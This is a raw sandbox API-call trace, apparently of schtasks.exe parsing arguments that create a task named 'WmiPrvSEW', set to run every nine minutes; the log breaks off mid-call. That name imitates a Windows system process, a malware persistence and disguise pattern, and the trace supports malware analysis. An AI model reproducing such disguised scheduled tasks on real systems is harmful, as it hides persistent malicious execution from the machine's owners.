[0089.323] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0089.323] SetLastError (dwErrCode=0x0) [0089.323] SetLastError (dwErrCode=0x0) [0089.323] SetLastError (dwErrCode=0x0) [0089.323] lstrlenW (lpString="/tn") returned 3 [0089.323] lstrlenW (lpString="-/") returned 2 [0089.323] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.323] lstrlenW (lpString="create") returned 6 [0089.323] lstrlenW (lpString="create") returned 6 [0089.323] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.323] lstrlenW (lpString="tn") returned 2 [0089.323] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.323] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.323] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.323] lstrlenW (lpString="|create|") returned 8 [0089.323] lstrlenW (lpString="|tn|") returned 4 [0089.323] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0089.323] SetLastError (dwErrCode=0x490) [0089.323] lstrlenW (lpString="?") returned 1 [0089.323] lstrlenW (lpString="?") returned 1 [0089.323] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.323] lstrlenW (lpString="tn") returned 2 [0089.323] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.323] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|?|") returned 3 [0089.324] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.324] lstrlenW (lpString="|?|") returned 3 [0089.324] lstrlenW (lpString="|tn|") returned 4 [0089.324] SetLastError (dwErrCode=0x490) [0089.324] lstrlenW (lpString="s") returned 1 [0089.324] lstrlenW (lpString="s") returned 1 [0089.324] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.324] lstrlenW (lpString="tn") returned 2 [0089.324] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.324] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|s|") returned 3 [0089.324] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.324] lstrlenW (lpString="|s|") returned 3 [0089.324] lstrlenW (lpString="|tn|") returned 4 [0089.324] SetLastError (dwErrCode=0x490) [0089.324] lstrlenW (lpString="u") returned 1 [0089.324] lstrlenW (lpString="u") returned 1 [0089.324] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.324] lstrlenW (lpString="tn") returned 2 [0089.324] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.324] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|u|") returned 3 [0089.324] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.324] lstrlenW (lpString="|u|") returned 3 [0089.324] lstrlenW (lpString="|tn|") returned 4 [0089.325] SetLastError (dwErrCode=0x490) [0089.325] lstrlenW (lpString="p") returned 1 [0089.325] lstrlenW (lpString="p") returned 1 [0089.325] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.325] lstrlenW (lpString="tn") returned 2 [0089.325] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.325] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|p|") returned 3 [0089.325] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.325] lstrlenW (lpString="|p|") returned 3 [0089.325] lstrlenW (lpString="|tn|") returned 4 [0089.325] SetLastError (dwErrCode=0x490) [0089.325] lstrlenW (lpString="ru") returned 2 [0089.325] lstrlenW (lpString="ru") returned 2 [0089.325] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.325] lstrlenW (lpString="tn") returned 2 [0089.325] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.325] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ru|") returned 4 [0089.325] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.325] lstrlenW (lpString="|ru|") returned 4 [0089.325] lstrlenW (lpString="|tn|") returned 4 [0089.325] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0089.325] SetLastError (dwErrCode=0x490) [0089.325] lstrlenW (lpString="rp") returned 2 [0089.325] lstrlenW (lpString="rp") returned 2 [0089.325] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.326] lstrlenW (lpString="tn") returned 2 [0089.326] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.326] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rp|") returned 4 [0089.326] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.326] lstrlenW (lpString="|rp|") returned 4 [0089.326] lstrlenW (lpString="|tn|") returned 4 [0089.326] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0089.326] SetLastError (dwErrCode=0x490) [0089.326] lstrlenW (lpString="sc") returned 2 [0089.326] lstrlenW (lpString="sc") returned 2 [0089.326] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.326] lstrlenW (lpString="tn") returned 2 [0089.326] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.326] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.326] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.326] lstrlenW (lpString="|sc|") returned 4 [0089.326] lstrlenW (lpString="|tn|") returned 4 [0089.326] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0089.326] SetLastError (dwErrCode=0x490) [0089.326] lstrlenW (lpString="mo") returned 2 [0089.326] lstrlenW (lpString="mo") returned 2 [0089.326] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.326] lstrlenW (lpString="tn") returned 2 [0089.326] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.327] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.327] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.327] lstrlenW (lpString="|mo|") returned 4 [0089.327] lstrlenW (lpString="|tn|") returned 4 [0089.327] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0089.327] SetLastError (dwErrCode=0x490) [0089.327] lstrlenW (lpString="d") returned 1 [0089.327] lstrlenW (lpString="d") returned 1 [0089.327] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.327] lstrlenW (lpString="tn") returned 2 [0089.327] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.327] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|d|") returned 3 [0089.327] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.327] lstrlenW (lpString="|d|") returned 3 [0089.327] lstrlenW (lpString="|tn|") returned 4 [0089.327] SetLastError (dwErrCode=0x490) [0089.327] lstrlenW (lpString="m") returned 1 [0089.327] lstrlenW (lpString="m") returned 1 [0089.327] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.327] lstrlenW (lpString="tn") returned 2 [0089.327] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.327] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|m|") returned 3 [0089.327] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.328] lstrlenW (lpString="|m|") returned 3 [0089.328] lstrlenW (lpString="|tn|") returned 4 [0089.328] SetLastError (dwErrCode=0x490) [0089.328] lstrlenW (lpString="i") returned 1 [0089.328] lstrlenW (lpString="i") returned 1 [0089.328] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.328] lstrlenW (lpString="tn") returned 2 [0089.328] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.328] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|i|") returned 3 [0089.328] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.328] lstrlenW (lpString="|i|") returned 3 [0089.328] lstrlenW (lpString="|tn|") returned 4 [0089.328] SetLastError (dwErrCode=0x490) [0089.328] lstrlenW (lpString="tn") returned 2 [0089.328] lstrlenW (lpString="tn") returned 2 [0089.328] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.328] lstrlenW (lpString="tn") returned 2 [0089.328] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.328] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.328] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|tn|") returned 4 [0089.328] lstrlenW (lpString="|tn|") returned 4 [0089.328] lstrlenW (lpString="|tn|") returned 4 [0089.328] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0089.328] SetLastError (dwErrCode=0x0) [0089.328] SetLastError (dwErrCode=0x0) [0089.328] lstrlenW (lpString="WmiPrvSEW") returned 9 [0089.329] lstrlenW (lpString="-/") returned 2 [0089.329] StrChrIW (lpStart="-/", wMatch=0x57) returned 0x0 [0089.329] SetLastError (dwErrCode=0x490) [0089.329] SetLastError (dwErrCode=0x490) [0089.329] SetLastError (dwErrCode=0x0) [0089.329] lstrlenW (lpString="WmiPrvSEW") returned 9 [0089.329] StrChrIW (lpStart="WmiPrvSEW", wMatch=0x3a) returned 0x0 [0089.329] SetLastError (dwErrCode=0x490) [0089.329] SetLastError (dwErrCode=0x0) [0089.329] lstrlenW (lpString="WmiPrvSEW") returned 9 [0089.329] SetLastError (dwErrCode=0x0) [0089.329] SetLastError (dwErrCode=0x0) [0089.329] lstrlenW (lpString="/sc") returned 3 [0089.329] lstrlenW (lpString="-/") returned 2 [0089.329] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.329] lstrlenW (lpString="create") returned 6 [0089.329] lstrlenW (lpString="create") returned 6 [0089.329] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.329] lstrlenW (lpString="sc") returned 2 [0089.329] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.329] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.329] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.329] lstrlenW (lpString="|create|") returned 8 [0089.329] lstrlenW (lpString="|sc|") returned 4 [0089.329] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0089.329] SetLastError (dwErrCode=0x490) [0089.329] lstrlenW (lpString="?") returned 1 [0089.329] lstrlenW (lpString="?") returned 1 [0089.329] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.329] lstrlenW (lpString="sc") returned 2 [0089.329] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.329] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|?|") returned 3 [0089.330] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.330] lstrlenW (lpString="|?|") returned 3 [0089.330] lstrlenW (lpString="|sc|") returned 4 [0089.330] SetLastError (dwErrCode=0x490) [0089.330] lstrlenW (lpString="s") returned 1 [0089.330] lstrlenW (lpString="s") returned 1 [0089.330] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.330] lstrlenW (lpString="sc") returned 2 [0089.330] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.330] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|s|") returned 3 [0089.330] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.330] lstrlenW (lpString="|s|") returned 3 [0089.330] lstrlenW (lpString="|sc|") returned 4 [0089.330] SetLastError (dwErrCode=0x490) [0089.330] lstrlenW (lpString="u") returned 1 [0089.330] lstrlenW (lpString="u") returned 1 [0089.330] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.330] lstrlenW (lpString="sc") returned 2 [0089.330] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.330] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|u|") returned 3 [0089.330] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.330] lstrlenW (lpString="|u|") returned 3 [0089.330] lstrlenW (lpString="|sc|") returned 4 [0089.330] SetLastError (dwErrCode=0x490) [0089.330] lstrlenW (lpString="p") returned 1 [0089.330] lstrlenW (lpString="p") returned 1 [0089.330] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.330] lstrlenW (lpString="sc") returned 2 [0089.330] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.330] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|p|") returned 3 [0089.330] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.331] lstrlenW (lpString="|p|") returned 3 [0089.331] lstrlenW (lpString="|sc|") returned 4 [0089.331] SetLastError (dwErrCode=0x490) [0089.331] lstrlenW (lpString="ru") returned 2 [0089.331] lstrlenW (lpString="ru") returned 2 [0089.331] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.331] lstrlenW (lpString="sc") returned 2 [0089.331] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.331] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ru|") returned 4 [0089.331] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.331] lstrlenW (lpString="|ru|") returned 4 [0089.331] lstrlenW (lpString="|sc|") returned 4 [0089.331] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0089.331] SetLastError (dwErrCode=0x490) [0089.331] lstrlenW (lpString="rp") returned 2 [0089.331] lstrlenW (lpString="rp") returned 2 [0089.331] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.331] lstrlenW (lpString="sc") returned 2 [0089.331] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.331] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rp|") returned 4 [0089.331] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.331] lstrlenW (lpString="|rp|") returned 4 [0089.331] lstrlenW (lpString="|sc|") returned 4 [0089.331] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0089.331] SetLastError (dwErrCode=0x490) [0089.331] lstrlenW (lpString="sc") returned 2 [0089.331] lstrlenW (lpString="sc") returned 2 [0089.331] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.331] lstrlenW (lpString="sc") returned 2 [0089.332] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.332] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.332] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.332] lstrlenW (lpString="|sc|") returned 4 [0089.332] lstrlenW (lpString="|sc|") returned 4 [0089.332] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0089.332] SetLastError (dwErrCode=0x0) [0089.332] SetLastError (dwErrCode=0x0) [0089.332] lstrlenW (lpString="MINUTE") returned 6 [0089.332] lstrlenW (lpString="-/") returned 2 [0089.332] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0089.332] SetLastError (dwErrCode=0x490) [0089.332] SetLastError (dwErrCode=0x490) [0089.332] SetLastError (dwErrCode=0x0) [0089.332] lstrlenW (lpString="MINUTE") returned 6 [0089.332] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0089.332] SetLastError (dwErrCode=0x490) [0089.332] SetLastError (dwErrCode=0x0) [0089.332] GetProcessHeap () returned 0x200000 [0089.332] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0x18) returned 0x21d6e0 [0089.332] _memicmp (_Buf1=0x21d6e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.332] lstrlenW (lpString="MINUTE") returned 6 [0089.332] GetProcessHeap () returned 0x200000 [0089.332] RtlAllocateHeap (HeapHandle=0x200000, Flags=0xc, Size=0xe) returned 0x21d700 [0089.332] lstrlenW (lpString="MINUTE") returned 6 [0089.332] lstrlenW (lpString=" \x09") returned 2 [0089.332] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0089.333] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0089.333] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0089.333] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0089.333] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0089.333] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0089.333] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0089.333] GetLastError () returned 0x0 [0089.333] lstrlenW (lpString="MINUTE") returned 6 [0089.333] lstrlenW (lpString="MINUTE") returned 6 [0089.333] SetLastError (dwErrCode=0x0) [0089.333] SetLastError (dwErrCode=0x0) [0089.333] lstrlenW (lpString="/mo") returned 3 [0089.333] lstrlenW (lpString="-/") returned 2 [0089.333] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0089.333] lstrlenW (lpString="create") returned 6 [0089.333] lstrlenW (lpString="create") returned 6 [0089.333] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.333] lstrlenW (lpString="mo") returned 2 [0089.333] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.349] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|create|") returned 8 [0089.349] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.349] lstrlenW (lpString="|create|") returned 8 [0089.349] lstrlenW (lpString="|mo|") returned 4 [0089.349] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0089.349] SetLastError (dwErrCode=0x490) [0089.349] lstrlenW (lpString="?") returned 1 [0089.349] lstrlenW (lpString="?") returned 1 [0089.349] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.349] lstrlenW (lpString="mo") returned 2 [0089.349] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.349] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|?|") returned 3 [0089.349] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.349] lstrlenW (lpString="|?|") returned 3 [0089.350] lstrlenW (lpString="|mo|") returned 4 [0089.350] SetLastError (dwErrCode=0x490) [0089.350] lstrlenW (lpString="s") returned 1 [0089.350] lstrlenW (lpString="s") returned 1 [0089.350] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.350] lstrlenW (lpString="mo") returned 2 [0089.350] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.350] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|s|") returned 3 [0089.350] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.350] lstrlenW (lpString="|s|") returned 3 [0089.350] lstrlenW (lpString="|mo|") returned 4 [0089.350] SetLastError (dwErrCode=0x490) [0089.350] lstrlenW (lpString="u") returned 1 [0089.350] lstrlenW (lpString="u") returned 1 [0089.350] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.350] lstrlenW (lpString="mo") returned 2 [0089.350] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.350] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|u|") returned 3 [0089.350] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.350] lstrlenW (lpString="|u|") returned 3 [0089.350] lstrlenW (lpString="|mo|") returned 4 [0089.350] SetLastError (dwErrCode=0x490) [0089.350] lstrlenW (lpString="p") returned 1 [0089.351] lstrlenW (lpString="p") returned 1 [0089.351] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.351] lstrlenW (lpString="mo") returned 2 [0089.351] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.351] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|p|") returned 3 [0089.351] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.351] lstrlenW (lpString="|p|") returned 3 [0089.351] lstrlenW (lpString="|mo|") returned 4 [0089.351] SetLastError (dwErrCode=0x490) [0089.351] lstrlenW (lpString="ru") returned 2 [0089.351] lstrlenW (lpString="ru") returned 2 [0089.351] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.351] lstrlenW (lpString="mo") returned 2 [0089.351] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.351] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|ru|") returned 4 [0089.351] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.351] lstrlenW (lpString="|ru|") returned 4 [0089.351] lstrlenW (lpString="|mo|") returned 4 [0089.351] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0089.351] SetLastError (dwErrCode=0x490) [0089.351] lstrlenW (lpString="rp") returned 2 [0089.351] lstrlenW (lpString="rp") returned 2 [0089.351] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.351] lstrlenW (lpString="mo") returned 2 [0089.351] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.352] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|rp|") returned 4 [0089.352] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.352] lstrlenW (lpString="|rp|") returned 4 [0089.352] lstrlenW (lpString="|mo|") returned 4 [0089.352] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0089.352] SetLastError (dwErrCode=0x490) [0089.352] lstrlenW (lpString="sc") returned 2 [0089.352] lstrlenW (lpString="sc") returned 2 [0089.352] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.352] lstrlenW (lpString="mo") returned 2 [0089.352] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.352] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|sc|") returned 4 [0089.352] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.352] lstrlenW (lpString="|sc|") returned 4 [0089.352] lstrlenW (lpString="|mo|") returned 4 [0089.352] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0089.352] SetLastError (dwErrCode=0x490) [0089.352] lstrlenW (lpString="mo") returned 2 [0089.352] lstrlenW (lpString="mo") returned 2 [0089.352] _memicmp (_Buf1=0x21c240, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.352] lstrlenW (lpString="mo") returned 2 [0089.352] _memicmp (_Buf1=0x21c380, _Buf2=0xff901b08, _Size=0x7) returned 0 [0089.352] _vsnwprintf (in: _Buffer=0x21c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.352] _vsnwprintf (in: _Buffer=0x21c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c688 | out: _Buffer="|mo|") returned 4 [0089.352] lstrlenW (lpString="|mo|") returned 4 [0089.352] lstrlenW (lpString="|mo|") returned 4 [0089.352] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0089.352] SetLastError (dwErrCode=0x0) [0089.352] SetLastError (dwErrCode=0x0) [0089.353] lstrlenW (lpString="9") returned 1 [0089.353] SetLastError (dwErrCode=0x490) [0089.353] SetLastError (dwErrCode=0x0) [0089.353] lstrlenW (lpString="9") returned 1 [0089.353] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0089.353] SetLastError (dwErrCode=0x490) [0089.353] SetLastError (dwErrCode=0x0) [0089.353] _memicmp (_Buf1=0x21d6e0, 